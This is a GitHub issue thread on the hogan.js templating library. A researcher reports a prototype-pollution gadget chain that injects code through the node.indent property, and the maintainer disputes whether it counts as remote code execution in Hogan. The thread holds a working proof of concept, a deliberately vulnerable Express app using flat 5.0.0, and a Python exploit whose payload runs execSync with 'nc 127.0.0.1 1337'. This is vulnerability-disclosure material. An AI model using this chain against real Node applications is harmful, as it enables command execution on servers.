Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Harden against prototype pollution #274

Closed
sayoojbkumar opened this issue Dec 15, 2021 · 22 comments
Closed

Harden against prototype pollution #274

sayoojbkumar opened this issue Dec 15, 2021 · 22 comments

Comments

@sayoojbkumar
Copy link

Hogan.js can be chained with prototype pollution to gain Remote Code Execution as Hogan.js objects can be easily controlled.

Description:

  • This vulnerability is regarding https://github.com/twitter/hogan.js

  • The function createPartials is called whenever '<' exists in tokens .In function createPartials code generated are getting concatenated and then evaluated later.

  • When Prototype pollution bug exist in a application it could pollute certain variables in complier.js and hence the code generated can be controlled.In this case node.indent and context.prefix can be polluted and can be used to gain rce.

POC

var hogan = require("hogan.js");

// construct template string
var template = "my {{>example}} template.";

//Prototype Pollution
constructor.prototype.indent="console.log(\"));console.log(process.mainModule.require('child_process').execSync('nc 127.0.0.1 1337'))//\")";
constructor.prototype.prefix="abcd";

var tokens=hogan.scan(template)
console.log("tokens",tokens)

// compile template
var compiled = hogan.compile(template);

console.log("compiled" , compiled)
var s = compiled.render({example: 'twitterer' })
console.log("renderd",s)

To Reproduce
Steps to reproduce the behavior:

  1. Run above poc.js
  2. listen on port 1337

Screenshots

poc

Additional context

For more information refer here
https://sayoojbkumar.me/blog/2021/12/15/PP-Hogan-js/

@sayrer
Copy link
Collaborator

sayrer commented Dec 16, 2021

Hello, I don't believe this is an RCE (Remote Code Execution).

These lines are local code, right?

//Prototype Pollution
constructor.prototype.indent="console.log(\"));console.log(process.mainModule.require('child_process').execSync('nc 127.0.0.1 1337'))//\")";
constructor.prototype.prefix="abcd";

If you could explain more, or link to the Handlebars / Pug issues, that would help.

@sayoojbkumar
Copy link
Author

Hey @sayrer what you said it correct it just lead to RCE when there exist a prototype pollution something similar to
https://blog.p6.is/AST-Injection/

@sayrer
Copy link
Collaborator

sayrer commented Dec 16, 2021

I do not think it can lead to RCE (I also read that post). I did see this:

GHSA-q42p-pg8m-cqh6

but this was adjusting the constructor from the template itself, not lines of code above it (how do you execute those lines remotely?)

@sayoojbkumar
Copy link
Author

Let say you have a application like this

const express = require('express');
var hogan = require("hogan.js");
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const app = express()
const port = 3000

app.use(bodyParser.json())
var template = "my {{>example}} template.";

app.get('/', (req, res) => {
    var compiled = hogan.compile(template);
    res.send(compiled.render({example: 'twitterer' }))
})

app.post('/prototype',(req,res)=> {
    console.log("yes")
    let object = unflatten(req.body);
    console.log(indent)
    res.json(object);
    
})

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

package.json

{
  "name": "real_world",
  "version": "1.0.0",
  "description": "real world exploit",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.17.1",
    "hogan.js": "^3.0.2",
    "flat": "5.0.0"
  }
}

where "flat": "5.0.0" is vulnerable to Prototype Pollution

exploit.py

import requests
TARGET_URL = 'http://localhost:3000'
# make pollution
requests.post(TARGET_URL + '/prototype', json = {"__proto__.indent":"console.log(\"));console.log(process.mainModule.require('child_process').execSync('nc 127.0.0.1 1337'))//\")"})

In normally case Prototype Pollution wont make such effects but when it combines with Hogan.js this could lead to RCE.

@sayoojbkumar
Copy link
Author

Prototype pollution is hard to completely eradicate. What's happening here is when Hogan.js combines with any other Prototype Pollution vulnerable library/piece of code it just allow attacker to gain RCE.

@sayrer
Copy link
Collaborator

sayrer commented Dec 18, 2021

I believe this analysis is flawed. The title says "leads to RCE", but the RCE is in the flat package. It is true that the RCE in flat can manipulate Hogan's prototype chain, but once there's an RCE, there are a lot of things the code can do.

@sayoojbkumar
Copy link
Author

Well Flat is only vulnerable to prototype pollution and in normal case prototype pollution doesn't leads to RCE but prototype pollution are capable of pollution objects. In this case when prototype pollution combines with Hogan.js it leads to RCE by polluting indent

@sayoojbkumar
Copy link
Author

Well @sayrer you interpreted this in wrong way. Looking into the example I shared when there is a post request to /pollution where it do unflatten(req.body) this alone cannot cause RCE even it's vulnerable to prototype pollution. Prototype pollution are only capable of polluting values in undefined object's well that doesn't leads to RCE.The impact of prototype pollution depends on the application.Depending on the exact logic of the application, prototype pollution can lead to remote code execution (RCE), here in this case With Hogan.js it leads to RCE by manipulating/pollution the objects in Hogan.js via prototype pollution.

The issue is something similar to these gadget chains examples where client side prototype pollution cause XSS when used with certain library https://github.com/BlackFan/client-side-prototype-pollution#script-gadgets

@sayrer
Copy link
Collaborator

sayrer commented Dec 18, 2021

Let say you have a application like this

I tried this example and I'm a little confused. I can see that there's an RCE in flat, in that it allows assignment to __proto__.indent.

I don't think this could be said to be an RCE in Hogan (it doesn't execute remote code, although it may execute local code put there by an RCE in another library).

I am willing to harden this, but it is not an RCE in Hogan, so I'm changing the title. This will be a breaking change, since I suppose someone out there could be relying on their ability to manipulate the prototype chain with their own code, although I doubt anyone does this in actively maintained code.

@sayrer sayrer changed the title Mitigate prototype pollution effects which leads to RCE Harden against prototype pollution Dec 18, 2021
@sayrer
Copy link
Collaborator

sayrer commented Dec 18, 2021

The issue is something similar to these gadget chains examples where client side prototype pollution cause XSS when used with certain library https://github.com/BlackFan/client-side-prototype-pollution#script-gadgets

Not similar. Those libraries are vulnerable because of the way they themselves parse document.location. Hogan does no such thing, although the vulnerabilities in those libraries could be used to overwrite Hogan's code if they shared a global. Also, they could probably just overwrite all of Hogan in some cases--no need to resort to the prototype chain.

@sayoojbkumar
Copy link
Author

Let say you have a application like this

I tried this example and I'm a little confused. I can see that there's an RCE in flat, in that it allows assignment to __proto__.indent.

I don't think this could be said to be an RCE in Hogan (it doesn't execute remote code, although it may execute local code put there by an RCE in another library).

I am willing to harden this, but it is not an RCE in Hogan, so I'm changing the title. This will be a breaking change, since I suppose someone out there could be relying on their ability to manipulate the prototype chain with their own code, although I doubt anyone does this in actively maintained code.

Once again RCE is not in flat. It's PP in flat library. Let's say if I just manipulate proto.indent in a code Which doesn't use Hogan.js will that cause RCE? PP just pollutes the object with value we supply that doesn't means the values we provided are executed in normal case

see this PP example will this cause RCE? it's just strings it's not even getting executed so Flat is not just the cause of RCE
image
this isn't executed in code but Hogan.js helps in executing this code.

internally when some pp vulnerable library pollutes __proto__.indent that polluted value gets into context.code which is generated code that gets executed by Hogan.js which is the cause of RCE.

Below is the code for function createPartial in Hogan.js where we have node.indent getting appended to context.code which is generated code by Hogan.js where this generated code gets executed by Hogan.js . So PP pollutes the value in node.indent as a string and then this polluted value gets appended to generated code by Hogan.js which gets executed and thus a attacker gets RCE.

function createPartial(node, context) {
    var prefix = "<" + (context.prefix || "");
    var sym = prefix + node.n + serialNo++;
    context.partials[sym] = {name: node.n, partials: {}};
    context.code += 't.b(t.rp("' +  esc(sym) + '",c,p,"' + (node.indent || '') + '"));';
    return sym;
  }

when prototype pollution happens with the POC that i provided generated code by Hogan.js looks like this which is executed by Hogan.js thus attacker gain RCE

t.b("my ");t.b(t.rp("<abcdexample0",c,p,"console.log("));console.log(process.mainModule.require('child_process').execSync('id').toString())//")"));t.b(" template.");

Yes I completely agree PP is needed for this to happen but you are miss interpreting that Flat is cause of RCE it's not. Flat helps in Prototype Pollution and that polluted code as a string is executed by Hogan.js which is the cause of RCE its like Hogan.js is chained by PP to get RCE.Still confused check this out some of other templating engines have this issue.

https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution#ast-prototype-pollution

PP just doesn't cause RCE the polluted value should be executed somehow right to get RCE and that's been done by Hogan.js by polluting node.indent.

PP - Prototype Pollution

@sayoojbkumar
Copy link
Author

Its not like we have RCE at the first and then manipulate Hogan.js it's like we have PP and then chain with Hogan.js to gain RCE

@sayrer
Copy link
Collaborator

sayrer commented Dec 19, 2021

Its not like we have RCE at the first and then manipulate Hogan.js it's like we have PP and then chain with Hogan.js to gain RCE

I think you have an incorrect definition of RCE in mind.

R -> the python script
C -> the function in the payload
E -> flat foolishly assigning that function from the remote payload to Object.prototype

All Hogan does is look up a property on the prototype chain. By your definition, any code that resolves a property up to Object.prototype is an RCE, and that does not make sense.

@sayoojbkumar
Copy link
Author

sayoojbkumar commented Dec 19, 2021

Let me ask a question @sayrer who executes the code here ,Flat ? If you say it's Flat then there is no need of writing long explanation and yeah my tittle was perfect Mitigate prototype pollution effects which leads to RCE PP+Hogan.js leads to RCE

@sayoojbkumar
Copy link
Author

All Hogan does is look up a property on the prototype chain. By your definition, any code that resolves a property up to Object.prototype is an RCE, and that does not make sense.

Hogan just don't resolves property it also execute them :)
Just closing this issue, as it's complete waste of time and energy if you get some free time just go through this issue mde/ejs#601 (something exactly similar to Hogan.js) and enlighten yourself 🥇

@sayoojbkumar
Copy link
Author

Concluding now I tried this example and I'm a little confused. I can see that there's an RCE in flat, in that it allows assignment to __proto__.indent this is partially correct but there is no execution of code in Flat but it helps in polluting objects.Code gets executed by Hogan.js so both contribute to RCE. Flat(PP) helps in Polluting the Object with Payload(which is string) and Code gets executed by Hogan.js

Thank you

@sayrer
Copy link
Collaborator

sayrer commented Dec 19, 2021

this is partially correct but there is no execution of code in Flat

Incorrect. It assigns to Object.prototype, and that is the RCE. Hogan does later execute the code, but this is not an RCE, since Hogan had nothing to do with it. This is like saying there's an RCE in a program if some other vuln overwrote its config file.

Happy to harden against this, but calling it an RCE is sensationalist nonsense.

@sayoojbkumar
Copy link
Author

RCE is Remote Code Execution if you pollute some Object will that get executed and you get a shell? if so then why hughsk/flat#105 is called Prototype Pollution Vulnerablity they could have directly called RCE as per what you are saying

@sayoojbkumar
Copy link
Author

Remote code execution (RCE) is a class of software security flaws/vulnerabilities. RCE vulnerabilities will allow a malicious actor to execute any code of their choice on a remote machine over LAN, WAN, or internet.
code should get executed and it's getting executed by Hogan.js that's why i kept the tittle prototype pollution effects which leads to RCE and you saying Hogan had nothing to do with it. the code get executed by Hogan.js .

but calling it an RCE is sensationalist nonsense. then this should be nonsense too mde/ejs#601
Anyway thanks for the fixing it.

@sayrer
Copy link
Collaborator

sayrer commented Dec 19, 2021

then this should be nonsense too mde/ejs#601

I agree with them. It's not an RCE /in Hogan/, but it can be hardened against vulnerabilities in other libraries. See: mde/ejs#601 (comment) and the following comment.

@sayrer
Copy link
Collaborator

sayrer commented Dec 19, 2021

It looks to me like calling Object.freeze(Object.prototype) might be the best practice here. That does seem to fix __proto__, I'll check constructor. This is not something that can be done in Hogan, application authors will have to do it.

@sayrer
Copy link
Collaborator

sayrer commented Dec 19, 2021

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants